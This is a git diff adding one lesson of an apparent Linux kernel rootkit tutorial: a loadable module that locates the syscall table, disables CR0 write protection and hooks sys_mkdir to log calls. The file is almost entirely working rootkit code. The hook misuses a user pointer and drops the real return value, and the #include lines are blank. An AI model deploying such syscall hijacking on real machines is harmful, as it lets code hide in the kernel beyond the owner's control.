diff --git a/3_RootkitTechniques/3.1_syscall_hooking/Makefile b/3_RootkitTechniques/3.1_syscall_hooking/Makefile new file mode 100644 index 0000000..1856805 --- /dev/null +++ b/3_RootkitTechniques/3.1_syscall_hooking/Makefile @@ -0,0 +1,7 @@ +obj-m += rootkit.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean diff --git a/3_RootkitTechniques/3.1_syscall_hooking/README.md b/3_RootkitTechniques/3.1_syscall_hooking/README.md new file mode 100644 index 0000000..1cb5aa3 --- /dev/null +++ b/3_RootkitTechniques/3.1_syscall_hooking/README.md @@ -0,0 +1,12 @@ +# Linux Kernel Hacking + +## 3.1: Syscall Table Hijacking + +Hijacking the linux syscall table, and hooking `sys_mkdir`. + +To use: +* Build with `make` +* Load with `insmod rootkit.ko` +* Create a directory with `mkdir a` +* Check output in kernel buffer with `dmesg` +* Unload with `rmmod rootkit` diff --git a/3_RootkitTechniques/3.1_syscall_hooking/rootkit.c b/3_RootkitTechniques/3.1_syscall_hooking/rootkit.c new file mode 100644 index 0000000..65c850e --- /dev/null +++ b/3_RootkitTechniques/3.1_syscall_hooking/rootkit.c @@ -0,0 +1,90 @@ +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("TheXcellerator"); +MODULE_DESCRIPTION("Syscall Table Hijacking"); +MODULE_VERSION("0.01"); + +static unsigned long * __sys_call_table; + +/* We copy this typedef from include/linux/syscalls.h + * Note that asmlinkage is used to prevent GCC from being + * "helpful" by allocation arguments on the stack */ +typedef asmlinkage int (*orig_mkdir_t)(const char __user *pathname, umode_t mode); +orig_mkdir_t orig_mkdir; + +/* This is our function hook. + * Note that we call the real sys_mkdir() function at the end */ +asmlinkage int hook_mkdir(const char __user *pathname, umode_t mode) +{ + printk(KERN_INFO "rootkit: mkdir trying to create directory: %s with mode %d\n", pathname, mode); + orig_mkdir(pathname, mode); + return 0; +} + +/* The built in linux write_cr0() function stops us from modifying + * the WP bit, so we write our own instead */ +inline void cr0_write(unsigned long cr0) +{ + asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order)); +} + +/* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which + * determines whether read-only pages can be written to. We are modifying + * the syscall table, so we need to unset it first */ +static inline void protect_memory(void) +{ + unsigned long cr0 = read_cr0(); + set_bit(16, &cr0); + cr0_write(cr0); +} + +static inline void unprotect_memory(void) +{ + unsigned long cr0 = read_cr0(); + clear_bit(16, &cr0); + cr0_write(cr0); +} + +/* Module initialization function */ +static int __init rootkit_init(void) +{ + /* Grab the syscall table, and make sure we succeeded */ + __sys_call_table = kallsyms_lookup_name("sys_call_table"); + + /* Grab the function pointer to the real sys_mkdir syscall */ + orig_mkdir = (orig_mkdir_t)__sys_call_table[__NR_mkdir]; + + printk(KERN_INFO "rootkit: Loaded >:-)\n"); + printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table); + printk(KERN_DEBUG "rootkit: mkdir @ 0x%lx\n", orig_mkdir); + + unprotect_memory(); + + printk(KERN_INFO "rootkit: hooking mkdir syscall\n"); + /* Patch the function pointer to sys_mkdir with our hook instead */ + __sys_call_table[__NR_mkdir] = (unsigned long)hook_mkdir; + + protect_memory(); + + return 0; +} + +static void __exit rootkit_exit(void) +{ + unprotect_memory(); + + printk(KERN_INFO "rootkit: restoring mkdir syscall\n"); + __sys_call_table[__NR_mkdir] = (unsigned long)orig_mkdir; + + protect_memory(); + + printk(KERN_INFO "rootkit: Unloaded :-(\n"); +} + +module_init(rootkit_init); +module_exit(rootkit_exit);